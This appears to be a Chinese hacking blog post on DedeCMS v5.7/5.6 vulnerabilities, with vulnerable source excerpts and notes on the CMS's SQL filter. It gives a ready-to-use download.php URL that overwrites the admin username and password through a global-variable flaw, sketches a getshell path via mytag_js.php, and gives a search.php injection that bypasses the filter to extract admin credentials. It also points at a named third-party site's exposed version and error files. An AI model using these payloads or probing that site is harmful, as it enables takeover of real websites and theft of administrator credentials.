前情提要
前几天和峰哥一起搞网站,遇到了dedecms的模板,大神们分分秒杀的站,蛋疼的弄了两天。于是乎痛定思痛研究了一下他最近出现的漏洞。
漏洞与版本
官方网站上提供了一些以往版本的下载
http://www.dedecms.com/html/chanpinxiazai/list_3_1.html
漏洞信息的话参见SEBUG
http://sebug.net/appdir/%E7%BB%87%E6%A2%A6(DedeCms)
信息收集
这个文件中可以看到服务器版本的更新日期
http://www.hxci.com.cn/library/data/admin/ver.txt
http://www.hxci.com.cn/library/data/mysqli_error_trace.inc
dedecms v5.7 PHP全局变量漏洞
register_globals的意思就是注册为全局变量,所以当On的时候,传递过来的值会被直接的注册为全局变量直接使用,而Off的时候,我们需要到特定的数组里去得到它。PHP4默认开启,PHP5以后默认关闭。
PHP变量范围
http://php.net/manual/zh/language.variables.scope.php
在dedecms v5.7中 include/dedesql.class.php 里有这么一段,虽然不知道什么意思,但是正好可以利用。
arrs1和arrs2这两个数组都没有初始化,之后arrs1作为名字arrs2作为值,放到GLOBALS[]中
而且这一段不是函数,类似于类中的静态代码段,直接会执行
if(isset($GLOBALS['arrs1']))
{
$v1 = $v2 = '';
for($i=0;isset($arrs1[$i]);$i++)
{
$v1 .= chr($arrs1[$i]);
}
for($i=0;isset($arrs2[$i]);$i++)
{
$v2 .= chr($arrs2[$i]); //解码ascii
}
$GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+
}
include/dedesql.class.php的SetQuery函数会替换数据库前缀,利用思路就是利用上面的漏洞把$GLOBALS['cfg_dbprefix']的内容换掉,这里有一点,因为上面的语句是添加$GLOBALS['cfg_dbprefix']的值,所以原来的表名前缀会保留,也就是说不用费劲的猜测表名了,构造语句的时候直接这样即可
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #
include/dedesql.class.php的SetQuery函数
function SetQuery($sql)
{
$prefix="#@__";
$sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);
$this->queryString = $sql;
echo "---------InSetQuery---------<br>";
echo $sql."<br>";
}
顺便说一下这些数据可的基本变量保存在data/common.inc.php,被dedesql.class.php包含,其函数Init把全局变量转存到本地,
但是SetQuery函数依然用了$GLOBALS来取变量,很是不解
function Init($pconnect=FALSE)
{
$this->linkID = 0;
//$this->queryString = '';
//$this->parameters = Array();
$this->dbHost = $GLOBALS['cfg_dbhost'];
$this->dbUser = $GLOBALS['cfg_dbuser'];
$this->dbPwd = $GLOBALS['cfg_dbpwd'];
$this->dbName = $GLOBALS['cfg_dbname'];
$this->dbPrefix = $GLOBALS['cfg_dbprefix'];
$this->result["me"] = 0;
$this->Open($pconnect);
}
$GLOBALS的用法可以看这里
http://www.php.net/manual/zh/reserved.variables.globals.php
现在只要找一个执行SQL语句的页面就可以了,这里大神给我们找好啦
plus/download.php,这个DEDECMS中执行SQL语句有两个函数,ExecuteNoneQuery和ExecuteNoneQuery2,后者没有加安全检查,
而download.php正是用的后者,那就没什么好说的了,直接上利用语句就可以了
http://localhost/DedeCMS-V5.7-GBK-SP1/uploads/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
这个漏洞还有一个GETSHELL的漏洞,原理是这样,使用UPDATA语句吧dede_mytag中的内容更新(因为这个利用只可以用UPDATA语句),然后再调用这个URL
http://localhost/DedeCMS-V5.7-GBK-SP1/uploads/plus/mytag_js.php?arcID=4
里面的语句会把数据库里的内容加入到一个文件,之后包含它。
但必须满足这个文件不存在或者已经过期,而且在写入的时候会在前后加注释符,具体不知道怎莫利用,暂且留一个坑。
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
$pv = new PartView();
$row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' ");
if(!is_array($row))
{
global $myvalues;
$myvalues = "<!--\r\ndocument.write('Not found input!');\r\n-->";
}
else
{
$tagbody = '';
if($row['timeset']==0)
{
$tagbody = $row['normbody'];
}
else
{
$ntime = time();
if($ntime>$row['endtime'] || $ntime < $row['starttime']) {
$tagbody = $row['expbody'];
}
else {
$tagbody = $row['normbody'];
}
}
$pv->SetTemplet($tagbody, 'string');
$myvalues = $pv->GetResult();
echo $myvalues;
$myvalues = str_replace('"','\"',$myvalues);
$myvalues = str_replace("\r","\\r",$myvalues);
$myvalues = str_replace("\n","\\n",$myvalues);
$myvalues = "<!--\r\ndocument.write(\"{$myvalues}\");\r\n-->\r\n";
file_put_contents($cacheFile, $myvalues);
echo "<br>";
echo $myvalues;
echo "<br>";
/* 使用 file_put_contents替换下列代码提高执行效率
$fp = fopen($cacheFile, 'w');
fwrite($fp, $myvalues);
fclose($fp);
*/
}
echo "---------------------------------------------<br>";
echo '('.$myvalues.')';
echo "---------------------------------------------<br>";
}
Search.php 注入漏洞
这个漏洞可以直接把管理员密码爆出来,比较厉害,可是构造比较复杂,具体利用在这里,根本上也是利用了dedecms的全局变量的缺陷,但是需要正面绕过防注入函数。
http://zone.wooyun.org/content/2414
dedecms的注入检查有两个阶段第一阶段是这样,eregi支持正则且不区分大小写。
{1,}代表了重复一次或者多次,[]和()代表一个分组,这个过滤还是很厉害的,只要语句中包含union|sleep|benchmark|load_file|outfile就会被过滤
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(eregi($notallow1,$db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
在search.php中有一句加入转义,会把单引号双引号和斜杠转义,在magic_quotes_gpc开启的时候PHP会自动对GET POST COOKIE进行addslashes()
$keyword = addslashes(cn_substr($keyword,30));
第二层检查,这里频繁用到这样一个正则
'~(^|[^a-z])benchmark($|[^[a-z])~s'
波浪线的含义是这样
$reg = "/(^|[^a-z]) benchmark($|[^[a-z])/s";
preg_match($reg,$clean) !=0;
相当于
$reg = "~(^|[^a-z]) benchmark($|[^[a-z])~s";
preg_match($reg,$clean) !=0;
默认都是在//之间包含正则式的,也可以用~~代替
最后s的含义是这样
g 匹配所有可能的模式
i 忽略大小写
m 将串视为多行
o 只赋值一次
s 将串视为单行
x 忽略模式中的空白
^ 和 $ 分别代表了文件的开始和末尾,在语句中表示benchmark在开头和末位的情况,总体意思就是在一个字符串中匹配benchmark
这里分别用了strpos 和 preg_match两种方式来过滤,我们主要需要绕过他们。
关于这个正则表达式看不懂的情况,推荐一个工具 RegexBuddy 妈妈再也不用担心我的正则表达式。
完整的过滤代码
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = TRUE;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
第二层测试,它利用了过滤文件会先把引号里面的数据替换成$s$,过滤完之后在替换回来的那么一个机制,绕过了价差规则。
但是这样使用引号的话会出现,变量引号不能闭合等乱七八糟的情况,这里使用了一个技巧绕过很是巧妙。
化简一下就是这样,@代表一个变量,但是mysql查询不到@`\'`这个变量时不会报错,而是会返回一个NULL
id=111=@`\'`这一句线比较111=@`\'`得出的值再和id比较。
Select channeltype From `dede_arctype` where id=111=@`\'` UnIon seleCt 1 from `dede_admin`#
最终EXP,这是官方提供的,我觉得有个地方不合理就略作了修改。
union联合查询爆用户名密码的。
Select channeltype From `dede_arctype` where id=111=@`\\\'`
and
(SELECT 1 FROM (select count(*),
concat(floor(rand(0)*2),(substring((select CONCAT(0x7c,userid,0x7c,pwd) from `dede_admin` limit 0,1),1,62)))a
from information_schema.tables group by a)b
)#@`\\\'`
group by random爆用户名密码的
http://localhost/DedeCmsV5.6-GBK-Final/uploads/plus/search.php?keyword=as&typeArr[
111%3D@`\'`+and+(
SELECT+1+FROM+(
select+count(*),
concat(floor(rand(0)*2),
(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62))
)a+
from+information_schema.tables+group+by+a)b
)%23@`\'`+]=a
benchmark函数的利用也顺带整理进去。
strpos 和 preg_match两种方式的绕过技巧准备整理,暂且留个坑。